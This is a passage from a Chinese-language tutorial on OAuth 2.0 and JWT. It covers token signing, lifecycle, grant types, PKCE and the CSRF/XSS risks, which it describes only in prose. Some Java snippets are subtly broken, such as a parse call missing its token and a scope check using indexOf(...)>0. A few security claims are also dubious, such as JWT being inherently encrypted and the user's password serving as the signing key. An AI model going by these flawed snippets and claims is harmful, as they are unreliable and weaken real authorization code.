Key key = new SecretKeySpec(sharedTokenSecret.getBytes(), SignatureAlgorithm.HS256.getJcaName());
// 生成JWT令牌
String jwts= Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key, SignatureAlgorithm.HS256.getJcaName());
// 解析JWT令牌
Jws<Claims> claimsJws =Jwts.parserBuilder().setSigningKey(key).build().parseClaims();
JwsHeader header = claimsJws.getHeader();
Claims body = claimsJws.getBody();

使用 JJWT 解析 JWT 令牌时包含了验证签名的动作,如果签名不正确就会抛出异常信息。可以借助这一点来对签名做校验,从而判断是否是一个没有被伪造过的、合法的 JWT令牌

4.4 为什么要使用 JWT 令牌?

1、JWT 的核心思想,就是用计算代替存储,有些 “时间换空间” 的 “味道”。当然,这种经过计算并结构化封装的方式,也减少了“共享数据库” 因远程调用而带来的网络传输消耗,所以也有可能是节省时间的

2、也是一个重要特性,是加密。因为 JWT 令牌内部已经包含了重要的信息,所以在整个传输过程中都必须被要求是密文传输的,这样被强制要求了加密也就保障了传输过程中的安全性。这里的加密算法,既可以是对称加密,也可以是非对称加密

3、使用 JWT 格式的令牌,有助于增强系统的可用性和可伸缩性。这一点要怎么理解呢?这种 JWT 格式的令牌,通过“自编码”的方式包含了身份验证需要的信息,不再需要服务端进行额外的存储,所以每次的请求都是无状态会话。这就符合了尽可能遵循无状态架构设计的原则,也就是增强了系统的可用性和伸缩性

但,万物皆有两面性,JWT 令牌也有缺点。JWT 格式令牌的最大问题在于 “覆水难收”,也就是说,没办法在使用过程中修改令牌状态。还是以小明使用小兔软件为例

小明在使用小兔软件的时候,是不是有可能因为某种原因修改了在京东的密码,或者是不是有可能突然取消了给小兔的授权?这时候,令牌的状态是不是就要有相应的变更,将原来对应的令牌置为无效

但使用 JWT 格式令牌时,每次颁发的令牌都不会在服务端存储,这样要改变令牌状态的时候,就无能为力了。因为服务端并没有存储这个 JWT 格式的令牌。这就意味着,JWT 令牌在有效期内,是可以“横行无止”的

为了解决这个问题,可以把 JWT 令牌存储到远程的分布式内存数据库中吗?显然不能,因为这会违背 JWT 的初衷(将信息通过结构化的方式存入令牌本身)。因此,通常会有两种做法:

  1. 将每次生成 JWT 令牌时的秘钥粒度缩小到用户级别,也就是一个用户一个秘钥。这样,当用户取消授权或者修改密码后,就可以让这个密钥一起修改。一般情况下,这种方案需要配套一个单独的密钥管理服务
  2. 在不提供用户主动取消授权的环境里面,如果只考虑到修改密码的情况,那么就可以把用户密码作为 JWT 的密钥。当然,这也是用户粒度级别的。这样一来,用户修改密码也就相当于修改了密钥

4.4 令牌的生命周期

万物皆有周期,这是自然规律,令牌也不例外,无论是 JWT 结构化令牌还是普通的令牌。它们都有有效期,只不过,JWT 令牌可以把有效期的信息存储在本身的结构体中。具体到 OAuth 2.0 的令牌生命周期,通常会有三种情况:

1、令牌的自然过期过程,这也是最常见的情况。这个过程是,从授权服务创建一个令牌开始,到第三方软件使用令牌,再到受保护资源服务验证令牌,最后再到令牌失效。同时,这个过程也不排除主动销毁令牌的事情发生,比如令牌被泄露,授权服务可以做主让令牌失效

2、也就是前面提到的,访问令牌失效之后可以使用刷新令牌请求新的访问令牌来代替失效的访问令牌,以提升用户使用第三方软件的体验

3、就是让第三方软件比如小兔,主动发起令牌失效的请求,然后授权服务收到请求之后让令牌立即失效。什么情况下会需要这种机制,也就是想一下第三方软件这样做的 “动机”,毕竟一般情况下 “很难放弃已经拥有的事物”

比如有些时候,用户和第三方软件之间存在一种订购关系,比如小明购买了小兔软件,那么在订购时长到期或者退订,且小明授权的 token 还没有到期的情况下,就需要有这样的一种令牌撤回协议,来支持小兔软件主动发起令牌失效的请求。作为平台一方比如京东商家开放平台,也建议有责任的第三方软件比如小兔软件,遵守这样的一种令牌撤回协议

在这里插入图片描述

5. 如何安全、快速地接入 OAuth 2.0?

在第三节已经讲了授权服务的流程,授权服务将 OAuth 2.0的复杂性都揽在了自己身上,这也是授权服务为什么是 OAuth 2.0 体系的核心的原因之一

虽然授权服务做了大部分工作,但是呢,在 OAuth 2.0 的体系里面,除了资源拥有者是作为用户参与,还有另外两个系统角色,也就是第三方软件和受保护资源服务,它们应该做哪些工作,才能接入到 OAuth 2.0的体系里面呢?

5.1 构建第三方软件应用

如果要基于京东商家开放平台构建一个小兔打单软件的应用,小兔软件的研发人员应该做哪些工作?

首先要到京东商家开放平台申请注册为开发者,在成为开发者以后再创建一个应用,之后就开始开发了。那么,开发第三方软件应用的过程中,需要重点关注哪些内容呢?这些内容包括 4 部分,分别是:注册信息、引导授权、使用访问令牌、使用刷新令牌

在这里插入图片描述

1、注册信息

首先,小兔软件只有先有了身份,才可以参与到 OAuth 2.0 的流程中去。也就是说,小兔软件需要先拥有自己的 app_id 和 app_serect 等信息,同时还要填写自己的回调地址 redirect_uri、申请权限等信息

这种方式的注册有时候也称它为静态注册,也就是小兔软件的研发人员提前登录到京东商家开放平台进行手动注册,以便后续使用这些注册的相关信息来请求访问令牌

2、引导授权

当用户需要使用第三方软件,来操作其在受保护资源上的数据,就需要第三方软件来引导授权。比如,小明要使用小兔打单软件来对店铺里面的订单发货打印,那小明首先访问的一定是小兔软件(原则上是直接访问第三方软件,不过在后面讲到服务市场这种场景的时候,会有稍微不同),不会是授权服务,更不会是受保护资源服务

但是小兔软件需要小明的授权,只有授权服务才能允许小明这样做。所以,小兔软件需要 “配合” 小明做的第一件事儿,就是将小明引导至授权服务,如下面代码所示

那去做什么呢?其实就是让用户为第三方软件授权,得到了授权之后,第三方软件才可以代表用户去访问数据。也就是说,小兔打单软件获得授权之后,才能够代表小明处理其在京东店铺上的订单数据

String oauthUrl = "http://localhost:8081/OauthServlet-ch03?reqType=oauth";
response.sendRedirect(toOauthUrl);

3、使用访问令牌

拿到令牌后去使用令牌,才是第三方软件的最终目的。然后看看如何使用令牌。目前 OAuth 2.0 的令牌只支持一种类型,那就是 bearer 令牌,也就是之前讲到的可以是任意字符串格式的令牌

官方规范给出的使用访问令牌请求的方式,有三种,分别是:

  1. Form-Encoded Body Parameter(表单参数)

    POST /resource HTTP/1.1
    Host: server.example.com
    Content-Type: application/x-www-form-urlencoded
    access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb
    
  2. URI Query Parameter(URI 查询参数)

    GET /resource?access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb HTTP/1.1
    Host: server.example.com
    
  3. Authorization Request Header Field(授权请求头部字段)

    GET /resource HTTP/1.1
    Host: server.example.com
    Authorization: Bearer b1a64d5c-5e0c-4a70-9711-7af6568a61fb
    

也就是说,这三种方式都可以请求到受保护资源服务。那么,采用哪种方式最合适呢?

根据 OAuth 2.0 的官方建议,系统在接入 OAuth 2.0 之前信息传递的请求载体是 JSON 格式的,那么如果继续采用表单参数提交的方式,令牌就无法加入进去了,因为格式不符。如果这时采用参数传递的方式呢,整个 URI 会被整体复制,安全性是最差的。而请求头部字段的方式就没有上述的这些“烦恼”,因此官方的建议是采用 Authorization 的方式来传递令牌

但是,这里建议采用表单提交,也就是 POST 的方式来提交令牌,类似如下代码所示。原因是这样的,从官方的建议中也可以看出,它指的是在接入 OAuth 2.0 之前,如果已经采用了 JSON 数据格式请求体的情况下,不建议使用表单提交。但是,刚开始的时候,只要三方软件和平台之间约束好了,大家一致采用表单提交,就没有任何问题了。因为表单提交的方式在保证安全传输的同时,还不需要去额外处理 Authorization 头部信息

String protectedURl="http://localhost:8082/ProtectedServlet-ch03";
Map<String, String> paramsMap = new HashMap<String, String>();
paramsMap.put("app_id", "APPID_RABBIT");
paramsMap.put("app_secret", "APPSECRET_RABBIT");
paramsMap.put("token", accessToken);
String result = HttpURLClient.doPost(protectedURl, HttpURLClient.mapToStr(paramsMap));

4、使用刷新令牌

如果访问令牌过期了,小兔软件总不能立马提示并让小明重新授权一次,否则小明的体验将会非常不好。为了解决这个问题呢,就用到了刷新令牌

使用刷新令牌的方式跟使用访问令牌是一样的,具体可以参照上面讲的访问令牌的方式。关于刷新令牌的使用,最需要关心的是,什么时候会来决定使用刷新令牌

在小兔打单软件收到访问令牌的同时,也会收到访问令牌的过期时间 expires_in。一个设计良好的第三方应用,应该将 expires_in 值保存下来并定时检测;如果发现 expires_in即将过期,则需要利用 refresh_token 去重新请求授权服务,以便获取新的、有效的访问令牌

这种定时检测的方法可以提前发现访问令牌是否即将过期。此外,还有一种方法是“现场”发现。也就是说,比如小兔软件访问小明店铺订单的时候,突然收到一个访问令牌失效的响应,此时小兔软件立即使用 refresh_token 来请求一个访问令牌,以便继续代表小明使用他的数据

综合来看的话,定时检测的方式,需要额外开发一个定时任务;而“现场”发现,就没有这种额外的工作量啦。具体采用哪一种方式,可以结合自己的实际情况。不过还是建议采用定时检测这种方式,因为它可以带来“提前量”,有更好的主动性,而现场发现就有点被动了

再次提醒注意的是,刷新令牌是一次性的,使用之后就会失效,但是它的有效期会比访问令牌要长。这个时候可能会想到,如果刷新令牌也过期了怎么办?在这种情况下,就需要将刷新令牌和访问令牌都放弃,相当于回到了系统的初始状态,只能让用户小明重新授权了

总结一下,在构建第三方应用时,需要重点关注的就是注册、授权、访问令牌、刷新令牌。只要掌握了这四部分内容,在类似京东这样的开放平台上开发小兔软件,就不再是什么困难的事情了

5.2 服务市场中的第三方应用软件

在构建第三方应用的引导授权时,说到用户第一次“触摸”到的一定是第三方软件,但这并不是绝对的。这个不绝对,就发生在服务市场这样的场景里

那什么是服务市场呢?说白了,就是你开发的软件,比如小兔打单软件、店铺装修软件等,都发布到这样一个“市场”里面售卖。这样,当用户购买了这些软件之后,就可以在服务市场里面看到有个“立即使用”的按钮。点击这个按钮,用户就可以直接访问自己购买的第三方软件了

比如,京东的京麦服务市场里有个“我的服务”目录,里面就存放了我购买的打单软件。小明就可以直接点击“立即使用”,继而进入小兔打单软件,如下图所示:

在这里插入图片描述

那么,这里需要注意的是,作为第三方开发者来构建第三方软件的时候,在授权码环节除了要接收授权码 code 值之外,还要接收用户的订购相关信息,比如服务的版本号、服务代码标识等信息

5.3 构建受保护资源服务

实际上在整个开放授权的环境中,受保护资源最终指的还是 Web API,比如说,访问头像的 API、访问昵称的 API。对应到打单软件中,受保护资源就是订单查询 API、批量查询 API 等

在互联网上的系统之间的通信,基本都是以 Web API 为载体的形式进行。因此呢,当说到受保护资源被授权服务保护着时,实际上说的是授权服务最终保护的是这些 Web API。在构建受保护资源服务的时候,除了基本的要检查令牌的合法性,还需要做些什么呢?最重要的就是权限范围了

在处理受保护资源服务中的逻辑的时候,校验权限的处理会占据很大的比重。访问令牌递过来,肯定要多看看令牌到底能操作哪些功能、又能访问哪些数据。现在,把这些权限的类别总结归纳下来,最常见的大概有以下几类:

在这里插入图片描述

1、不同的权限对应不同的操作

这里的操作,其实对应的是 Web API,比如目前京东商家开放平台提供有查询商品 API、新增商品 API、删除商品 API 这三种。如果小兔软件请求过来的一个访问令牌 access_token 的 scope 权限范围只对应了查询商品 API、新增商品 API,那么包含这个 access_token 值的请求,就不能执行删除商品 API 的操作

// 不同的权限对应不同的操作
String[] scope = OauthServlet.tokenScopeMap.get(accessToken);
StringBuffer sbuf = new StringBuffer();
for(int i=0;i<scope.length;i++) {
    
    
    sbuf.append(scope[i]).append("|");
}
if(sbuf.toString().indexOf("query")>0) {
    
    
    queryGoods("");
}
if(sbuf.toString().indexOf("add")>0) {
    
    
    addGoods("");
}
if(sbuf.toString().indexOf("del")>0) {
    
    
    delGoods("");
}

2、不同的权限对应不同的数据

这里的数据,就是指某一个 API 里包含的属性字段信息。比如,有一个查询小明信息的 API,返回的信息包括 Contact(email、phone、qq)、Like(Basketball、Swimming)、Personal Data(sex、age、nickname)。如果小兔软件请求过来的一个访问令牌 access_token 的 scope 权限范围只对应了 Personal Data,那么包含该 access_token 值的请求就不能获取到 Contact 和 Like 的信息,关于这部分的代码,实际跟不同权限对应不同操作的代码类似

这种权限范围的粒度要比“不同的权限对应不同的操作”的粒度要小。这正是遵循了最小权限范围原则

3、不同的用户对应不同的数据

这种权限实际上只是换了一种维度,将其定位到了用户上面

一些基础类信息,比如获取地理位置、获取天气预报等,不会带有用户归属属性,也就是说这些信息并不归属于某个用户,是一类公有信息。对于这样的信息,平台提供出去的 API 接口都是“中性”的,没有用户属性

但是,更多的场景却是基于用户属性的。还是以小兔打单软件为例,商家每次打印物流面单的时候,小兔打单软件都要知道是哪个商家的订单。这种情况下,商家为小兔软件授权,小兔软件获取的 access_token 实际上就包含了商家这个用户属性

京东商家开放平台的受保护资源服务每次接收到小兔软件的请求时,都会根据该请求中 access_token 的值找到对应的商家 ID,继而根据商家 ID 查询到商家的订单信息,也就是不同的商家对应不同的订单数据

// 不同的用户对应不同的数据
String user = OauthServlet.tokenMap.get(accessToken);
queryOrders(user);

在上面讲三种权限的时候,举的例子实际上都属于一个系统提供了查询、添加、删除这样的所有服务。此时可能会想到,现在的系统不已经是分布式系统环境了么,如果有很多个受保护资源服务,比如提供用户信息查询的用户资源服务、提供商品查询的商品资源服务、提供订单查询的订单资源服务,那么每个受保护资源服务岂不是都要把上述的权限范围校验执行一遍吗,这样不就会有大量的重复工作产生么?

为了应对这种情况,应该有一个统一的网关层来处理这样的校验,所有的请求都会经过 API GATEWAY 跳转到不同的受保护资源服务。这样就不需要在每一个受保护资源服务上都做一遍权限校验的工作了,而只需要在 API GATEWAY 这一层做权限校验就可以了。系统结构如下图所示:

在这里插入图片描述

6. 其他的授权许可类型

在前面讲到授权码许可类型的原理与工作流程时,不知道是否有这样一个疑问:授权码许可的流程最完备、最安全没错儿,但它适合所有的授权场景吗?在有些场景下使用授权码许可授权,是不是过于复杂了,是不是根本就没必要这样?

比如,小兔打单软件是京东官方开发的一款软件,那么小明在使用小兔的时候,还需要小兔再走一遍授权码许可类型的流程吗?肯定是不需要了

授权码许可流程的特点是它通过授权码这种临时的中间值,让小明这样的用户参与进来,从而让小兔软件和京东之间建立联系,进而让小兔代表小明去访问他在京东店铺的订单数据

现在小兔被“招安”了,是京东自家的了,是被京东充分信任的,没有“第三方软件”的概念了。同时,小明也是京东店铺的商家,也就是说软件和用户都是京东的资产。这时,显然没有必要再使用授权码许可类型进行授权了。但是呢,小兔依然要通过互联网访问订单数据的 Web API,来提供为小明打单的功能

于是,为了保护这些场景下的 Web API,又为了让 OAuth 2.0 更好地适应现实世界的更多场景,来解决比如上述小兔软件这样的案例,OAuth 2.0 体系中还提供了资源拥有者凭据许可类型

6.1 资源拥有者凭据许可

从“资源拥有者凭据许可”这个命名上,可能就已经理解它的含义了。资源拥有者的凭据,就是用户的凭据,就是用户名和密码。可见,这是最糟糕的一种方式。那为什么 OAuth 2.0 还支持这种许可类型,而且编入了 OAuth 2.0 的规范呢?

正如上面我提到的,小兔此时就是京东官方出品的一款软件,小明也是京东的用户,那么小明其实是可以使用用户名和密码来直接使用小兔这款软件的。原因很简单,那就是这里不再有“第三方”的概念了

但是如果每次小兔都是拿着小明的用户名和密码来通过调用 Web API 的方式,来访问小明店铺的订单数据,甚至还有商品信息等,在调用这么多 API 的情况下,无疑增加了用户名和密码等敏感信息的攻击面

如果是使用了 token 来代替这些“满天飞”的敏感信息,不就能很大程度上保护敏感信息数据了吗?这样,小兔软件只需要使用一次用户名和密码数据来换回一个 token,进而通过 token 来访问小明店铺的数据,以后就不会再使用用户名和密码了,如下图所示:

在这里插入图片描述

1、当用户访问第三方软件小兔时,会提示输入用户名和密码。索要用户名和密码,就是资源拥有者凭据许可类型的特点

2、这里的 grant_type 的值为 password,告诉授权服务使用资源拥有者凭据许可凭据的方式去请求访问

Map<String, String> params = new HashMap<String, String>();
params.put("grant_type","password");
params.put("app_id","APPIDTEST");
params.put("app_secret","APPSECRETTEST");
params.put("name","NAMETEST");
params.put("password","PASSWORDTEST");

String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));

3、授权服务在验证用户名和密码之后,生成 access_token 的值并返回给第三方软件

if("password".equals(grantType)){
    
    
    String appSecret = request.getParameter("app_secret");
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    if(!"APPSECRETTEST".equals(appSecret)) {
    
    
        response.getWriter().write("app_secret is not available");
        return;
    }
    if(!"USERNAMETEST".equals(username)) {
    
    
        response.getWriter().write("username is not available");
        return;
    }
    if(!"PASSWORDTEST".equals(password)) {
    
    
        response.getWriter().write("password is not available");
        return;
    }
    String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌acc
    response.getWriter().write(accessToken);
}

到了这里,你可以掌握到一个信息:如果软件是官方出品的,又要使用 OAuth 2.0 来保护 Web API,那么就可以使用小兔软件的做法,采用资源拥有者凭据许可类型

无论是架构、系统还是框架,都是致力于解决现实生产中的各种问题的。除了资源拥有者凭据许可类型外,OAuth 2.0 体系针对现实的环境还提供了客户端凭据许可和隐式许可类型。

6.2 客户端凭据许可

如果没有明确的资源拥有者,换句话说就是,小兔软件访问了一个不需要用户小明授权的数据,比如获取京东 LOGO 的图片地址,这个 LOGO 信息不属于任何一个第三方用户,再比如其它类型的第三方软件来访问平台提供的省份信息,省份信息也不属于任何一个第三方用户

此时,在授权流程中,就不再需要资源拥有者这个角色了。当然,也可以形象地理解为 “资源拥有者被塞进了第三方软件中” 或者 “第三方软件就是资源拥有者”。这种场景下的授权,便是客户端凭据许可,第三方软件可以直接使用注册时的 app_id 和 app_secret 来换回访问令牌 token 的值

在这里插入图片描述

另外一点,因为授权过程没有了资源拥有者小明的参与,小兔软件的后端服务可以随时发起 access_token 的请求,所以这种授权许可也不需要刷新令牌

这样一来,客户端凭据许可类型的关键流程,就是以下两大步:

1、第三方软件小兔通过后端服务向授权服务发送请求,这里 grant_type 的值为 client_credentials,告诉授权服务要使用第三方软件凭据的方式去请求访问

Map<String, String> params = new HashMap<String, String>();
params.put("grant_type","client_credentials");
params.put("app_id","APPIDTEST");
params.put("app_secret","APPSECRETTEST");

String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));

2、在验证 app_id 和 app_secret 的合法性之后,生成 access_token 的值并返回

String grantType = request.getParameter("grant_type");
String appId = request.getParameter("app_id");

if(!"APPIDTEST".equals(appId)){
    
    
    response.getWriter().write("app_id is not available");
    return;
}
if("client_credentials".equals(grantType)){
    
    
    String appSecret = request.getParameter("app_secret");
    if(!"APPSECRETTEST".equals(appSecret)){
    
    
        response.getWriter().write("app_secret is not available");
        return;
    }
    String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌acc
    response.getWriter().write(accessToken);
}

在获取一种不属于任何一个第三方用户的数据时,并不需要类似小明这样的用户参与,此时便可以使用客户端凭据许可类型

6.3 隐式许可

如果小明使用的小兔打单软件应用没有后端服务,就是在浏览器里面执行的,比如纯粹的 JavaScript 应用,应该如何使用 OAuth 2.0 呢?

其实,这种情况下的授权流程就可以使用隐式许可流程,可以理解为第三方软件小兔直接嵌入浏览器中了

在这种情况下,小兔软件对于浏览器就没有任何保密的数据可以隐藏了,也不再需要应用密钥 app_secret 的值了,也不用再通过授权码 code 来换取访问令牌 access_token 的值了。因为使用授权码的目的之一,就是把浏览器和第三方软件的信息做一个隔离,确保浏览器看不到第三方软件最重要的访问令牌 access_token 的值

因此,隐式许可授权流程的安全性会降低很多。在授权流程中,没有服务端的小兔软件相当于是嵌入到了浏览器中,访问浏览器的过程相当于接触了小兔软件的全部,因此用虚线框来表示小兔软件,整个授权流程如下图所示:

在这里插入图片描述

1、用户通过浏览器访问第三方软件小兔。此时,第三方软件小兔实际上是嵌入浏览器中执行的应用程序

2、这个流程和授权码流程类似,只是需要特别注意一点,response_type 的值变成了 token,是要告诉授权服务直接返回 access_token 的值,隐式许可流程是唯一在前端通信中要求返回 access_token 的流程

Map<String, String> params = new HashMap<String, String>();
params.put("response_type","token"); // 告诉授权服务直接返回access_token
params.put("redirect_uri","http://localhost:8080/AppServlet-ch02");
params.put("app_id","APPIDTEST");
String toOauthUrl = URLParamsUtil.appendParams(oauthUrl,params); // 构造请求授权的Url

response.sendRedirect(toOauthUrl);

3、生成 acccess_token 的值,通过前端通信返回给第三方软件小兔

String responseType = request.getParameter("response_type");
String redirectUri =request.getParameter("redirect_uri");
String appId = request.getParameter("app_id");
if(!"APPIDTEST".equals(appId)){
    
    
    return;
}

if("token".equals(responseType)){
    
    
    // 隐式许可流程(模拟),DEMO CODE,注意:该流程全部在前端通信中完成
    String accessToken = generateAccessToken(appId,"USERTEST"); // 生成访问令牌accessToken

    Map<String, String> params = new HashMap<String, String>();
    params.put("redirect_uri",redirectUri);
    params.put("access_token",accessToken);

    String toAppUrl = URLParamsUtil.appendParams(redirectUri,params); // 构造第三方
    response.sendRedirect(toAppUrl); // 使用sendRedirect方式模拟前端通信
}

6.4 如何选择?

在对接 OAuth 2.0 的时候先考虑授权码许可类型,其次再结合现实生产环境来选择:

  1. 如果小兔软件是官方出品,那么可以直接使用资源拥有者凭据许可
  2. 如果小兔软件就是只嵌入到浏览器端的应用且没有服务端,那就只能选择隐式许可
  3. 如果小兔软件获取的信息不属于任何一个第三方用户,那可以直接使用客户端凭据许可类型

在这里插入图片描述

所有的授权许可类型中,授权码许可类型的安全性是最高的。因此,只要具备使用授权码许可类型的条件,一定要首先授权码许可类型

所有的授权许可类型都是为了解决现实中的实际问题,因此还要结合实际的生产环境,在保障安全性的前提下选择最合适的授权许可类型,比如使用客户端凭据许可类型的小兔软件就是一个案例

7. 在移动 App 中使用 OAuth 2.0

OAuth 2.0 最初的应用场景确实是 Web 应用,但是它的伟大之处就在于,它把自己的核心协议定位成了一个框架而不是单个的协议。这样做的好处是,可以基于这个基本的框架协议,在一些特定的领域进行扩展,因此,到了桌面或者移动的场景下,OAuth 2.0 的协议一样适用

当开发一款移动 App 的时候,可以选择没有 Server 端的 “纯 App” 架构,比如这款 App 不需要跟自己的 Server 端通信,或者可以调用其它开放的 HTTP 接口;当然也可以选择有服务端的架构,比如这款 App 还想把用户的操作日志记录下来并保存到 Server端的数据库中

那总结下来呢,移动 App 可以分为两类,一类是没有 Server 端的 App 应用,一类是有 Server 端的 App 应用

在这里插入图片描述

这两类 App 在使用 OAuth 2.0 时的最大区别,在于获取访问令牌的方式:

  • 如果有 Server 端,就建议通过 Server 端和授权服务做交互来换取访问令牌
  • 如果没有 Server 端,那么只能通过前端通信来跟授权服务做交互,比如在前面提到的隐式许可授权类型。当然,这种方式的安全性就降低了很多

7.1 没有 Server 端的 App

在一个没有 Server 端支持的纯 App 应用中,首先想到的是,如何可以像 Web 服务那样,让请求和响应“来去自如”呢

你可能会想,是不是可以将一个“迷你”的 Web 服务器嵌入到 App 里面去,这样不就可以像 Web 应用那样来使用 OAuth 2.0 了么?确实,这是行得通的,而且已经有 App 这样做了

这样的 App 通过监听运行在 localhost 上的 Web 服务器 URI,就可以做到跟普通的 Web 应用一样的通信机制。但这种方式不是要讲的重点,因为当使用这种方式的时候,请求访问令牌时需要的 app_secret 就只能保存在用户本地设备上,而这并不是所建议的

问题的关键在于如何保存 app_secret,因为 App 会被安装在成千上万个终端设备上,app_secret 一旦被破解,就将会造成灾难性的后果。这时,有的同学突发奇想,如果不用 app_secret,也能在授权码流程里换回访问令牌 access_token,不就可以了吗?

确实可以,但新的问题也来了。在授权码许可类型的流程中,如果没有了 app_secret 这一层的保护,那么通过授权码 code 换取访问令牌的时候,就只有授权码 code 在“冲锋陷阵”了。这时,授权码 code 一旦失窃,就会带来严重的安全问题。那么,既不使用 app_secret,还要防止授权码 code 失窃,有什么好的方法吗?

OAuth 2.0 里面就有这样的指导方法。这个方法就是 PKCE 协议,全称是 Proof Key for Code Exchange by OAuth Public Clients,在下面的流程图中,为了突出第三方软件使用 PKCE 协议时与授权服务之间的通信过程,省略了受保护资源服务和资源拥有者的角色:

在这里插入图片描述

首先,App 自己要生成一个随机的、长度在 43~128 字符之间的、参数为 code_verifier 的字符串验证码;接着,再利用这个 code_verifier,来生成一个被称为“挑战码”的参数 code_challenge

那怎么生成这个 code_challenge 的值呢?OAuth 2.0 规范里面给出了两种方法,就是看 code_challenge_method 这个参数的值:

  • code_challenge_method=plain,此时 code_verifier 的值就是 code_challenge的值
  • code_challenge_method=S256,就是将 code_verifier 值进行 ASCII 编码之后再进行哈希,然后再将哈希之后的值进行 BASE64-URL 编码,如下代码所示:
    code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
    

授权码流程简单概括起来有两步,第一步是获取授权码 code,第二步是用 app_id+app_secret+code 获取访问令牌 access_token。刚才的“梦想”是设想不使用 app_secret,但同时又能保证授权码流程的安全性,code_verifier 和 code_challenge 这两个参数,就是来实现这个“梦想”的

在第一步获取授权码 code 的时候,使用 code_challenge 参数。需要注意的是,要同时将 code_challenge_method 参数也传过去,目的是让授权服务知道生成 code_challenge 值的方法是 plain 还是 S256

https://authorization-server.com/auth?
response_type=code&
app_id=APP_ID&
redirect_uri=REDIRECT_URI&
code_challenge=CODE_CHALLENGE&
code_challenge_method=S256

在第二步获取访问令牌的时候,使用 code_verifier 参数,授权服务此时会将 code_verifier 的值进行一次运算。那怎么运算呢?就是上面 code_challenge_method=S256 的这种方式

第一步请求授权码的时候,已经告诉授权服务生成 code_challenge 的方法了。所以,在第二步的过程中,授权服务将运算的值跟第一步接收到的值做比较,如果相同就颁发访问令牌

POST https://api.authorization-server.com/token?
grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=REDIRECT_URI&
app_id=APP_ID&
code_verifier=CODE_VERIFIER

总结一下就是,换取授权码 code 的时候,使用 code_challenge 参数值;换取访问令牌的时候,使用 code_verifier 参数值。那么,为什么要这样做呢?

我们的愿望是,没有 Server 端的手机 App,也可以使用授权码许可流程,app_secret 不能用,因为它只能被存在用户的设备上,担心被泄露

那么,在没有了 app_secret 这层保护的前提下,即使授权码 code 被截获,再加上 code_challenge 也同时被截获了,那也没有办法由 code_challenge 逆推出 code_verifier 的值。而恰恰在第二步换取访问令牌的时候,授权服务需要的就是 code_verifier 的值。因此,这也就避免了访问令牌被恶意换取的安全问题

现在,就可以通过 PKCE 协议的帮助,让没有 Server 端的 App 也能够安全地使用授权码许可类型进行授权了。但是,按照 OAuth 2.0 的规范建议,通过后端通信来换取访问令牌是较为安全的方式。所以真的不需要一个 Server 端吗?在做移动应用开发的时候,真的从设计上就决定废弃 Server 端了吗?

7.2 有 Server 端的 App

如果开发接入过微信登录,就会在微信的官方文档上看到下面这句话:

微信 OAuth 2.0 授权登录目前支持 authorization_code 模式,适用于拥有 Server 端的应用授权

微信的 OAuth 2.0 授权登录,就是建议需要一个 Server 端来支持这样的授权接入,那么,有 Server 端支持的 App 又是如何使用 OAuth 2.0 的授权码许可流程的呢?以微信登录为例:

在这里插入图片描述

看到这个图,跟普通的授权码流程没有区别,仍是两步走的策略:第一步换取授权码 code,第二步通过授权码 code 换取访问令牌 access_token

这里的第三方应用,就是我们作为开发者来开发的应用,包含了移动 App 和 Server 端。将其“放大”得到下面这张图:

在这里插入图片描述

从这张“放大”的图中,就会发现有 Server 端的 App 在使用授权码流程的时候,跟普通的 Web 应用几乎没有任何差别

大概流程是:当我们访问第三方 App 的时候,需要用到微信来登录;第三方 App 可以拉起微信的 App,我们会在微信的 App 里面进行登录及授权;微信 Server 端验证成功之后会返回一个授权码 code,通过微信 App 传递给了第三方 App;后面的流程就是使用授权码 code 和 app_secret,换取访问令牌 access_token 的值了

这次使用 app_secret 的时候,我们是在第三方 App 的 Server 端来使用的,因此安全性上没有任何问题

8. 安全漏洞

“OAuth 2.0 不是一种安全协议吗,不是保护 Web API 的吗?为啥 OAuth 2.0 自己还有安全的问题了呢?”

首先,OAuth 2.0 的确是一种安全协议。这没啥问题,但是它有很多使用规范,比如授权码是一个临时凭据只能被使用一次,要对重定向 URI 做校验等。那么,如果使用的时候没有按照这样的规范来实施,就会有安全漏洞了

其次,OAuth 2.0 既然是“生长”在互联网这个大环境中,就一样会面对互联网上常见安全风险的攻击,比如跨站请求伪造(Cross-site request forgery,CSRF)、跨站脚本攻击(Cross Site Scripting,XSS)

最后,除了这些常见攻击类型外,OAuth 2.0 自身也有可被利用的安全漏洞,比如授权码失窃、重定向 URI 伪造

8.1 CSRF 攻击

对于 CSRF 的定义,《OAuth 2 in Action》这本书里的解释,是我目前看到的最为贴切的解释:恶意软件让浏览器向已完成用户身份认证的网站发起请求,并执行有害的操作,就是跨站请求伪造攻击

假设有一个用户已经在某软件的平台登录,且对该软件进行了授权,也就是用户已经在软件平台上有登录态了。如果此时攻击者截获了授权码,并在自己的网站上构造了一个恶意页面,如果这个时候用户被攻击者诱导而点击了这个恶意页面,那结果就是,软件接受到授权码后去继续 OAuth 2.0 的流程,但后面换取授权的访问令牌 access_token,以及通过 accces_token 获取的信息就都是攻击者的了

那如何避免这种攻击呢?方法也很简单,实际上 OAuth 2.0 中也有这样的建议,就是使用 state 参数,它是一个随机值的参数

请求授权码的时候附带一个自己生成的 state 参数值,同时授权服务也要按照规则将这个随机的 state 值跟授权码 code 一起返回。这样,接收到授权码的时候,就要做一个 state 参数值的比对校验,如果相同就继续流程,否则直接拒绝后续流程

在这样的情况下,要想再发起 CSRF 攻击,就必须另外构造一个 state 值,而这个 state 没那么容易被伪造。这本就是一个随机的数值,而且在生成时就遵从了被“猜中”的概率要极小的建议

8.2 XSS 攻击

XSS 攻击的主要手段是将恶意脚本注入到请求的输入中,攻击者可以通过注入的恶意脚本来进行攻击行为,比如搜集数据等

当请求抵达受保护资源服务时,系统需要做校验,比如第三方软件身份合法性校验、访问令牌 access_token 的校验,如果这些信息都不能被校验通过,受保护资源服务就会返回错误的信息

在这里插入图片描述

